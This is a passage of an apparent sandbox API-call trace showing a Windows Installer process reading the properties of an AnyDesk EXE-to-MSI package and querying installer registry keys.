lpWideCharStr=0x34aa40, cchWideChar=44 | out: lpWideCharStr="REMOVE ~= \"ALL\" AND NOT UPGRADINGPRODUCTCODE") returned 44 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=73, lpWideCharStr=0x361b60, cchWideChar=73 | out: lpWideCharStr="NOT REMOVE ~=\"ALL\" AND NOT UPGRADEPRODUCTCODE AND BZ.INSTALLMODE = \"LATE\"") returned 73 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x360bd0, cchWideChar=14 | out: lpWideCharStr="ScheduleReboot") returned 14 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=70, lpWideCharStr=0x361c20, cchWideChar=70 | out: lpWideCharStr="NOT REMOVE ~=\"ALL\" AND NOT UPGRADEPRODUCTCODE AND BZ.EXITCODE = \"3010\"") returned 70 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=26, lpWideCharStr=0x339330, cchWideChar=26 | out: lpWideCharStr="NOT WIX_DOWNGRADE_DETECTED") returned 26 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=27, lpWideCharStr=0x339390, cchWideChar=27 | out: lpWideCharStr="Downgrades are not allowed.") returned 27 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x35ac50, cchWideChar=8 | out: lpWideCharStr="ALLUSERS") returned 8 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=1, lpWideCharStr=0x35ac80, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x360c10, cchWideChar=11 | out: lpWideCharStr="ARPNOREPAIR") returned 11 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x360c50, cchWideChar=11 | out: lpWideCharStr="ARPNOMODIFY") returned 11 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x35acb0, cchWideChar=6 | out: lpWideCharStr="Hidden") returned 6 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=23, lpWideCharStr=0x3602f0, cchWideChar=23 | out: lpWideCharStr="BZ.WRAPPED_REGISTRATION") returned 23 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x35ace0, cchWideChar=6 | out: lpWideCharStr="BZ.VER") returned 6 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=13, lpWideCharStr=0x360c90, cchWideChar=13 | out: lpWideCharStr="BZ.CURRENTDIR") returned 13 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x360cd0, cchWideChar=11 | out: lpWideCharStr="*SOURCEDIR*") returned 11 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=16, lpWideCharStr=0x360d10, cchWideChar=16 | out: lpWideCharStr="BZ.WRAPPED_APPID") returned 16 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=7, lpWideCharStr=0x35ad10, cchWideChar=7 | out: lpWideCharStr="AnyDesk") returned 7 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x360d50, cchWideChar=14 | out: lpWideCharStr="BZ.COMPANYNAME") returned 14 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x360d90, cchWideChar=10 | out: lpWideCharStr="EXEMSI.COM") returned 10 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x360dd0, cchWideChar=11 | out: lpWideCharStr="BZ.BASENAME") returned 11 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x360e10, cchWideChar=11 | out: lpWideCharStr="install.exe") returned 11 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=21, lpWideCharStr=0x360340, cchWideChar=21 | out: lpWideCharStr="BZ.ELEVATE_EXECUTABLE") returned 21 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=5, lpWideCharStr=0x35ad40, cchWideChar=5 | out: lpWideCharStr="never") returned 5 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x360e50, cchWideChar=14 | out: lpWideCharStr="BZ.INSTALLMODE") returned 14 [0068.870] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x35ad70, cchWideChar=4 | out: lpWideCharStr="LATE") returned 4 [0068.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=17, lpWideCharStr=0x360390, cchWideChar=17 | out: lpWideCharStr="BZ.WRAPPERVERSION") returned 17 [0068.871] CExposedStream::Read () returned 0x0 [0068.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x360e90, cchWideChar=9 | out: lpWideCharStr="10.0.50.0") returned 9 [0068.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x360ed0, cchWideChar=11 | out: lpWideCharStr="BZ.EXITCODE") returned 11 [0068.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=1, lpWideCharStr=0x35ada0, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0068.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=24, lpWideCharStr=0x3603e0, cchWideChar=24 | out: lpWideCharStr="BZ.INSTALL_SUCCESS_CODES") returned 24 [0068.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=12, lpWideCharStr=0x360f10, cchWideChar=12 | out: lpWideCharStr="Manufacturer") returned 12 [0068.871] CExposedStream::Read () returned 0x0 [0068.871] CExposedStream::Release () returned 0x0 [0068.871] CExposedStream::Release () returned 0x0 [0068.871] lstrlenW (lpString="Name") returned 4 [0068.871] lstrlenW (lpString="Table") returned 5 [0068.871] lstrlenW (lpString="Number") returned 6 [0068.871] lstrlenW (lpString="Name") returned 4 [0068.871] lstrlenW (lpString="Type") returned 4 [0068.872] lstrlenW (lpString="_Tables") returned 7 [0068.872] IStorage:RemoteOpenStream (in: This=0x2fcc10, pwcsName="䡀㽿䅤䈯䠶", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cf160, ppstm=0x2 | out: ppstm=0x2) returned 0x0 [0068.872] CExposedStream::Stat () returned 0x0 [0068.872] GlobalLock (hMem=0xf40018) returned 0x356f60 [0068.872] CExposedStream::Read () returned 0x0 [0068.872] CExposedStream::Release () returned 0x0 [0068.872] lstrlenW (lpString="_Columns") returned 8 [0068.872] IStorage:RemoteOpenStream (in: This=0x2fcc10, pwcsName="䡀㬿䏲䐸䖱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cf160, ppstm=0x2 | out: ppstm=0x2) returned 0x0 [0068.872] CExposedStream::Stat () returned 0x0 [0068.872] GlobalLock (hMem=0xf40028) returned 0x361f90 [0068.872] CExposedStream::Read () returned 0x0 [0068.872] CExposedStream::Release () returned 0x0 [0068.872] lstrlenW (lpString="Property") returned 8 [0068.873] IStorage:RemoteOpenStream (in: This=0x2fcc10, pwcsName="䡀䕙䓲䕨䜷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cf1e0, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0068.873] CExposedStream::Stat () returned 0x0 [0068.873] GlobalLock (hMem=0xf40038) returned 0x356dd0 [0068.873] CExposedStream::Read () returned 0x0 [0068.873] CExposedStream::Release () returned 0x0 [0068.873] GlobalLock (hMem=0xf40048) returned 0x3571d0 [0068.873] lstrlenW (lpString="ProductLanguage") returned 15 [0068.873] SetLastError (dwErrCode=0x0) [0068.873] lstrlenW (lpString="ProductCode") returned 11 [0068.873] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0068.873] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.873] GetCurrentThreadId () returned 0xf50 [0068.873] GetCurrentThreadId () returned 0xf50 [0068.873] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.873] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce890, TokenInformationLength=0x58, ReturnLength=0x10ce880 | out: TokenInformation=0x10ce890, ReturnLength=0x10ce880) returned 1 [0068.873] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce970, pSourceSid=0x10ce8a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce970*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.873] ConvertSidToStringSidW (in: Sid=0x10ce970*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce950 | out: StringSid=0x10ce950*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.874] LocalFree (hMem=0x32ff50) returned 0x0 [0068.874] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.874] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.874] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ceed0 | out: phkResult=0x10ceed0*=0x0) returned 0x2 [0068.874] GetCurrentThreadId () returned 0xf50 [0068.874] GetCurrentThreadId () returned 0xf50 [0068.874] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.874] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce890, TokenInformationLength=0x58, ReturnLength=0x10ce880 | out: TokenInformation=0x10ce890, ReturnLength=0x10ce880) returned 1 [0068.874] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce970, pSourceSid=0x10ce8a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce970*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.874] ConvertSidToStringSidW (in: Sid=0x10ce970*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce950 | out: StringSid=0x10ce950*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.874] LocalFree (hMem=0x32fee0) returned 0x0 [0068.874] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.874] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.874] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ceed0 | out: phkResult=0x10ceed0*=0x0) returned 0x2 [0068.874] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0068.874] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.874] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ceed0 | out: phkResult=0x10ceed0*=0x0) returned 0x2 [0068.875] lstrlenW (lpString="ProductName") returned 11 [0068.875] lstrlenW (lpString="MSIFASTINSTALL") returned 14 [0068.875] memcpy (in: _Dst=0x361190, _Src=0x33cfe0, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.875] lstrlenW (lpString="[~~~]") returned 5 [0068.875] lstrlenW (lpString="[~~~]") returned 5 [0068.875] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ACTION=INSTALL", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.875] memcpy (in: _Dst=0x32fef0, _Src=0x33d004, _Size=0x50 | out: _Dst=0x32fef0) returned 0x32fef0 [0068.875] memcpy (in: _Dst=0x361190, _Src=0x33d058, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.875] memcpy (in: _Dst=0x35afb0, _Src=0x33d06e, _Size=0x6 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.875] memcpy (in: _Dst=0x35afb0, _Src=0x33d078, _Size=0x10 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.875] memcpy (in: _Dst=0x35b010, _Src=0x33d08c, _Size=0xe | out: _Dst=0x35b010) returned 0x35b010 [0068.875] memcpy (in: _Dst=0x361190, _Src=0x33d09e, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.875] memcpy (in: _Dst=0x360610, _Src=0x33d0c2, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.875] memcpy (in: _Dst=0x361190, _Src=0x33d0ec, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.875] memcpy (in: _Dst=0x35afb0, _Src=0x33d10a, _Size=0x2 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.875] memcpy (in: _Dst=0x361190, _Src=0x33d110, _Size=0x1e | out: _Dst=0x361190) returned 0x361190 [0068.876] memcpy (in: _Dst=0x35afb0, _Src=0x33d132, _Size=0x8 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.876] memcpy (in: _Dst=0x361190, _Src=0x33d13e, _Size=0x16 | out: _Dst=0x361190) returned 0x361190 [0068.876] memcpy (in: _Dst=0x360610, _Src=0x33d158, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.876] memcpy (in: _Dst=0x361190, _Src=0x33d182, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.876] memcpy (in: _Dst=0x3393f0, _Src=0x33d198, _Size=0x34 | out: _Dst=0x3393f0) returned 0x3393f0 [0068.876] memcpy (in: _Dst=0x361190, _Src=0x33d1d0, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.876] memcpy (in: _Dst=0x35afb0, _Src=0x33d1e6, _Size=0x6 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.876] memcpy (in: _Dst=0x361190, _Src=0x33d1f0, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.876] memcpy (in: _Dst=0x35afb0, _Src=0x33d20e, _Size=0xe | out: _Dst=0x35afb0) returned 0x35afb0 [0068.876] memcpy (in: _Dst=0x35afb0, _Src=0x33d220, _Size=0xc | out: _Dst=0x35afb0) returned 0x35afb0 [0068.876] memcpy (in: _Dst=0x35b010, _Src=0x33d230, _Size=0xe | out: _Dst=0x35b010) returned 0x35b010 [0068.876] memcpy (in: _Dst=0x361190, _Src=0x33d242, _Size=0x18 | out: _Dst=0x361190) returned 0x361190 [0068.876] memcpy (in: _Dst=0x35afb0, _Src=0x33d25e, _Size=0x2 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.876] memcpy (in: _Dst=0x361190, _Src=0x33d264, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.876] memcpy (in: _Dst=0x35afb0, _Src=0x33d284, _Size=0x2 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.877] memcpy (in: _Dst=0x35afb0, _Src=0x33d28c, _Size=0x10 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.877] memcpy (in: _Dst=0x361190, _Src=0x33d29e, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.877] memcpy (in: _Dst=0x35afb0, _Src=0x33d2c0, _Size=0xc | out: _Dst=0x35afb0) returned 0x35afb0 [0068.877] memcpy (in: _Dst=0x35b010, _Src=0x33d2ce, _Size=0xe | out: _Dst=0x35b010) returned 0x35b010 [0068.877] lstrlenW (lpString="MSIFASTINSTALL") returned 14 [0068.877] lstrlenW (lpString="CLIENTUILEVEL") returned 13 [0068.877] memcpy (in: _Dst=0x361190, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.877] lstrlenW (lpString="[~~~]") returned 5 [0068.877] lstrlenW (lpString="[~~~]") returned 5 [0068.877] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.877] memcpy (in: _Dst=0x32fef0, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32fef0) returned 0x32fef0 [0068.877] memcpy (in: _Dst=0x361190, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.877] memcpy (in: _Dst=0x35afb0, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.877] memcpy (in: _Dst=0x35afb0, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.877] memcpy (in: _Dst=0x35b010, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x35b010) returned 0x35b010 [0068.877] memcpy (in: _Dst=0x361190, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x360610, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.878] memcpy (in: _Dst=0x361190, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x35afb0, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x35afb0) returned 0x35afb0 [0068.878] memcpy (in: _Dst=0x361190, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x35b010, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x35b010) returned 0x35b010 [0068.878] memcpy (in: _Dst=0x361190, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x360610, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.878] memcpy (in: _Dst=0x361190, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x3393f0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x3393f0) returned 0x3393f0 [0068.878] memcpy (in: _Dst=0x361190, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x35b010, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x35b010) returned 0x35b010 [0068.878] memcpy (in: _Dst=0x361190, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x35b010, _Src=0x31fede, _Size=0xe | out: _Dst=0x35b010) returned 0x35b010 [0068.878] memcpy (in: _Dst=0x35b010, _Src=0x31fef0, _Size=0xc | out: _Dst=0x35b010) returned 0x35b010 [0068.878] memcpy (in: _Dst=0x35b040, _Src=0x31ff00, _Size=0xe | out: _Dst=0x35b040) returned 0x35b040 [0068.878] memcpy (in: _Dst=0x361190, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x35b010, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.878] memcpy (in: _Dst=0x361190, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.878] memcpy (in: _Dst=0x35b010, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.879] memcpy (in: _Dst=0x35b010, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x35b010) returned 0x35b010 [0068.879] memcpy (in: _Dst=0x361190, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.879] lstrlenW (lpString="REMOVE") returned 6 [0068.879] memcpy (in: _Dst=0x361190, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.879] lstrlenW (lpString="[~~~]") returned 5 [0068.879] lstrlenW (lpString="[~~~]") returned 5 [0068.879] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.879] memcpy (in: _Dst=0x32fef0, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32fef0) returned 0x32fef0 [0068.879] memcpy (in: _Dst=0x361190, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.879] memcpy (in: _Dst=0x35b010, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x35b010) returned 0x35b010 [0068.879] memcpy (in: _Dst=0x35b010, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x35b010) returned 0x35b010 [0068.879] memcpy (in: _Dst=0x35b040, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x35b040) returned 0x35b040 [0068.879] memcpy (in: _Dst=0x361190, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.879] memcpy (in: _Dst=0x360610, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.879] memcpy (in: _Dst=0x361190, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.879] memcpy (in: _Dst=0x35b010, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.879] memcpy (in: _Dst=0x361190, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x361190) returned 0x361190 [0068.879] memcpy (in: _Dst=0x35b010, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x35b010) returned 0x35b010 [0068.879] memcpy (in: _Dst=0x361190, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x361190) returned 0x361190 [0068.879] memcpy (in: _Dst=0x360610, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x360610) returned 0x360610 [0068.879] memcpy (in: _Dst=0x361190, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.880] memcpy (in: _Dst=0x3393f0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x3393f0) returned 0x3393f0 [0068.880] memcpy (in: _Dst=0x361190, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.880] memcpy (in: _Dst=0x35b010, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x35b010) returned 0x35b010 [0068.880] memcpy (in: _Dst=0x361190, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x361190) returned 0x361190 [0068.880] memcpy (in: _Dst=0x35b010, _Src=0x31fede, _Size=0xe | out: _Dst=0x35b010) returned 0x35b010 [0068.880] memcpy (in: _Dst=0x35b010, _Src=0x31fef0, _Size=0xc | out: _Dst=0x35b010) returned 0x35b010 [0068.880] memcpy (in: _Dst=0x35b040, _Src=0x31ff00, _Size=0xe | out: _Dst=0x35b040) returned 0x35b040 [0068.880] memcpy (in: _Dst=0x361190, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x361190) returned 0x361190 [0068.880] memcpy (in: _Dst=0x35b010, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.880] memcpy (in: _Dst=0x361190, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.880] memcpy (in: _Dst=0x35b010, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x35b010) returned 0x35b010 [0068.880] memcpy (in: _Dst=0x35b010, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x35b010) returned 0x35b010 [0068.880] memcpy (in: _Dst=0x361190, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x361190) returned 0x361190 [0068.880] lstrlenW (lpString="FASTOEM") returned 7 [0068.880] memcpy (in: _Dst=0x361190, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x361190) returned 0x361190 [0068.880] lstrlenW (lpString="[~~~]") returned 5 [0068.880] lstrlenW (lpString="[~~~]") returned 5 [0068.880] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.880] memcpy (in: _Dst=0x32fef0, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32fef0) returned 0x32fef0 [0068.880] memcpy (in: _Dst=0x361190, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x361190) returned 0x361190 [0068.881] memcpy (in: _Dst=0x35b010, 